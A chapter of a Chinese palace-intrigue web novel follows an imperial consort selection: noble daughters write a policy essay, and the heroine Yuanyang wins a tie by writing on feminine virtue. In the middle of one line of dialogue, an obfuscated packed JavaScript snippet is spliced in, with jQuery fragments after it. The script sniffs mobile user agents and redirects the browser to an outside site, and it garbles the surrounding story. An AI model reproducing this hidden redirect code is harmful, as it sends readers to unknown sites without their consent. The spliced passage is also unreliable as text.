四月十八，秀朝帝子选妃，皇城休沐一天。
太子生母——叶皇后从秀朝一百八十位贵女中初拟出一份名单，藉此，二十名贵女从众多人选中脱颖而出，成功入围由帝后亲自主持的三轮考核。
皇城里，白玉阑干，朱红金漆。
天子的庙堂，是前朝，女子的庙堂，亦是前朝，否则做皇后只是为了得到一国之母的名讳？
宫道两旁，上百牡丹盛烈得雍容华美。
层层叠叠的花瓣火红如霞，绚丽夺目，元阳淡淡扫过，不由得想起他们原本的主人——逐歌太子真乃天姿国色，哪怕誉名第一美人的故太子妃在他身畔亦被夺去光彩。
美，亦美得太过了些，是不详，是妖孽，都说红颜薄命，亏他这个人去得早……时至今日，那一张绝美的容貌还常为人津津乐道。
唯独死人不会衰老，所以，被人提起时，他一直都是年轻貌美的模样。
现在，她偶一见到长欢，却有这种凄凉的感觉，他清贵得更像父亲一些，无忧，无忧呢？他更像太子妃，美得张扬，言语之间肆意狂妄。
到了群芳殿前，引路小太监笑容谄媚，恭敬伸出手：“郡主请。”
元阳应了一声，一搭眼，就瞧见了美得张扬的金冠少年。
宫门幽幽，飞檐琉璃，将两道身影镌刻成画。
这人少见地穿了一袭白衣，清逸惊艳，恰是旧时模样。他神情淡漠，垂着脸，浓密眼睫投下一段意味不明的青影，眼尾刻着一段深红。
储秀太子按着他的肩头，似在顽笑，他抿着嘴角，抬起眼帘时一下子撞到她的视线。
清风从他们三人之间拂过，一段明黄冠带时起时落，就同无法逾越的天堑那样，斩断情缘。
霎时间，物是人非的萧瑟与欲语还休渐渐漫过心头。
若是逐歌太子仍在人世，这一切不再如此……他会天真烂漫地长大，同从前那样笑得稚气，做意气风发的白衣少年郎。
元阳一错眸光，望向储秀太子，轻轻一笑：“参见太子殿下。”
储秀太子颔首微笑，语气温善：“元阳，怎么来得有些迟？快辰正了，里头的人都齐了。”
“来得殷勤，不如来得恰好，太子殿下。”
话是对储秀太子说的，余光却剜在另一个人身上，独孤无忧暗暗挑眉，这小丫头原来很会说话，也很会记恨。
“好，来得恰好。先进去罢，都在等你。”
“多谢太子殿下。”
踏入宫门前，元阳瞟了一眼某人颈上白纱，唇畔卷起冷嘲，原来穿白衣是为了叫这白纱不那样显眼，真是本事，很会丢人现眼，蠢材。
待目送人入了宫门，搭在白衣肩头的手缓缓一拍，是宽慰，是威慑。
独孤无忧笑看储秀太子，并无一丝异样，两人并肩走向花道，衣摆掠过深红粉白的牡丹花，犹如行走在一团锦绣间，不识人间疾苦。
“这花开得热闹，群芳殿热闹，洛塘也热闹。”
“洛塘？是军报？父皇未曾说起。”
“原来陛下已有主张。”
原来？
好会说话。
储秀太子眸光一动，不疾不徐地问：“你听沈知世说的？”他心里一清二楚，语气颇轻，“他在军中还好？无忧，你与他私底下相交甚密。”
“这事情确是听他说的，殿下。”
储秀太子垂眉，摩挲着腰间玉佩，轻声笑道：“无忧，你就不怕孤起嫌隙？”
“殿下，长欢与臣弟水火不容，他近来常见穆宇，不是么？叶舅舅在边关镇守，穆宇常去信请他指教武艺，他年纪虽小上半岁，但是进步神速，臣弟快打不过了。”
储秀太子吟着微笑，别有深意地看了他一眼，不置可否。
群芳殿内。
金纱织就，飞凰荣耀。
宽殿之内陈列二十张书案，笔墨纸砚，静待佳音。
凤翎步摇越过重纱，盈盈流光映照一张娇艳的脸，叶皇后年逾三十，仍秀美如花。她搭着女官孟暖的手背，莲步轻移，尊贵无双。
贵女们纷纷行礼，婉转拜见：“参见皇后娘娘，娘娘千岁千岁千千岁。”
“免礼。”
珠玉环佩泠泠作响，衣袍舒光。
殿上静寂，众人屏息听训，女官孟暖代叶皇后宣读了些体面话，列首的元阳斜过余光，恰巧此时，叶蓁蓁同样递来眼神。
两人目光一触，却见叶蓁蓁唇畔轻扬，势在必得那般。
元阳心下一凝，没有细听殿上言语，只抓住第一轮选拔的最后两个字眼：策论。
竟然是策论。
宫娥奉来花茶，淡白雾气遮掩住叶皇后秀美眉目，唯独那一抹衔笑唇红十分灼眼：“孟暖，开始罢。”
“遵命，皇后娘娘。”
“开卷。”
裙裾款款，宣纸生香。
元阳一铺镇纸，扫了一眼题目，是：《攘外必先安内》。
好，好题目。
历朝历代的默契是后宫不得干政，然而历朝历代的后宫默契是……干政这事尽量不摆到明面上。
元阳挽着袖子，慢慢研墨，砚台与墨锭互相磋磨，吐出乌晕，然而决定下墨的还是这只手。她一圈一圈打着转，静静地思索落笔事……一阵水溶到墨里，冲淡了黏稠。
她垂着眼睫，忽而眸光一撇，隔断屏风后，捻顺的毫痛饮浓墨，落纸迅疾。
那一双金绞丝镯轻轻碰撞，行笔有力……简直信手拈来，洋洋洒洒。
元阳微微一笑，不紧不慢地起笔，落下两字，算是开题。
外头暖风阵阵，殿上一缕青烟缥缈散去，宫娥步来点燃最后一支时辰香。
金绞丝镯陡然滑落，撞在白皙的小臂上，折射出锐利的光。
屏风那头，叶蓁蓁抵着脸，逡巡纸上笔迹，一字不错。她侧了视线，看到一袭红还在凝眉斟酌，一笔一笔，一手簪花小楷写得极严谨。
她听说元阳前段日子献了一段佛经给皇后，字迹娟秀灵动，十分用心。
叶蓁蓁嘴角抿起，眸光熠熠，都说字如其人，只以为娉婷郡主骄傲尊贵，谁知道元阳这丫头心思玲珑，也会写那些古板东西去讨巧。
她又瞟到自己指尖的水红丹蔻，不由得多想了一层，这是个聪明人，虽从小在意无忧，但东宫太子妃的位置是她眼下最好的抉择，既然她下定决心要争……这第一轮，元阳会出什么法子来赢？
殿上忽而击掌两声，众人纷纷停笔，随着起卷，屏风亦撤去。
叶蓁蓁终于看到元阳，朝她娇气地笑了一笑。
收卷的孟暖注意到这一笑，微微皱眉，不禁起了疑窦——自家大小姐颇有些玩世不恭。
暂时遣退的贵女们都去殿外等候，殿上又静悄悄的了，只剩纸张的干燥摩擦声。
由皇帝派来的内帘官三审三批，判语下得极快。
叶皇后站在花窗前，观赏花缸里的缤纷牡丹，四名宫娥在她身后打扇，一切，悄无声息。
约莫一刻后，为首内帘官突然低语两句，将一份试卷递给孟暖。
“娘娘，三位大人以为这一份试卷
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15618585|168168||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
要您亲自定夺。”
柔白手指一接。
孟暖的眼神随着试卷徐徐展开而凝起，只见叶皇后将其稍稍翻检，秀眉微微一拧，笑意似有若无。
……女德。
殿外骄阳似火，等候半个时辰的贵女们不时细语，唯独叶蓁蓁迎立风处，与梧桐言笑晏晏，落得轻松自在。
殿门戛然打开，一股幽凉猛地扑出，众人都朝那头望去，只见侍奉太监清了清嗓子，尖尖细细地告：“入殿，觐见——”
与此同时，东宫水畔。
碧如磨盘，花胜斗盏，柳叶似剪，削去尘思。
一道白衣伫在树影里，侧脸如玉，正淡淡瞧着水中菡萏，颇有些湖君遗立的风姿。
郎旭摇着雅扇，站在桥头，飒飒一笑：“群芳殿上正热闹，不去瞧瞧？对了，怎么不见太子殿下？”
他抬起眸光，轻声问道：“现在到第几轮了？”
“怕是第二轮了，听说刚考完才情，现在又开始试品德。”
“还早。”
还早。
郎旭歪坐阑干上，指着他眼尾的红，问道：“这里，是真的还是假的？”
他朝他遥遥一笑：“你说呢？”
郎旭收拢折扇，揶揄道：“不大真。”
“那就是不大真。”
第二轮试场转到了御花园里头。
入围仅有八人。
此时花园里挂满了谜语宫灯，元阳抬起第一只宫灯：“和风千层浪，仰面剪情思。”
金绞丝镯清脆响动，引人注意。
对面，叶蓁蓁正歪头猜谜，忽而注意到了她，轻巧一笑。
元阳微微凝眉，擒住宫灯一角，写下谜底：纸鸢。
女官孟暖背着手来回逡巡，路过时重重地看了这红衣一眼，又默不作声地走开。元阳镇定自若地挽起第二只宫灯，实则回想起方才宣读名次的情形，暗暗松了一口气。
她赌对了。
这一干贵女既能脱颖而出，自然不是小家子气的人物，琴棋书画不过基本功，治家治国之术亦涉猎，叶蓁蓁是誉满京城的才女，论对前朝事与经卷辞的见解，自然首屈一指。
左思右想，她到底决定不与叶蓁蓁争才思。
她虽善书法，却不善章赋，真与这第一美人比胸中沟壑，见地深浅，未必赢得过她，此其一。
叶蓁蓁对诗词歌赋岂止精通，其才情之高令郎太傅都讶然，以至于皇帝曾开顽笑要她女扮男装考个状元试试，此其二。
她料定叶蓁蓁性情清傲，见识谈吐深雅，起笔落文之风大开大合，必重剖天下事，此其三。
既然顺着题目极难赢过，不如反其道而行之，叶蓁蓁论前朝事，她就论后宫德，以一个“内”来模糊本意。
外者，天子之敌，小则不服教化的臣民，大则秀朝之敌，不过虎视眈眈的奉朝，洛塘。
内者，天子亲众，小则后宫亲眷，大则秀朝群臣万民。
这是选妃，却不是选状元，后妃取贤取德——宁愿藏拙，与其输在才情上，不如各领风骚，再者说，三位内帘官在，叶皇后必定卖皇帝一个面子。
皇帝忌惮叶家势大，对叶皇后插手朝政颇有微词，毕竟外戚篡权夺位一事不可不防。
这“女德”二字算是逢迎了皇帝，开罪了叶皇后。
——故而，她与叶蓁蓁虽同为榜首，第一局却算侥幸取巧，不输不赢。
淡淡思忖间，已完成所有灯谜，元阳还没有放下笔，就听前头的桌案处传来吩咐：“诸位小姐，请来抽花签。”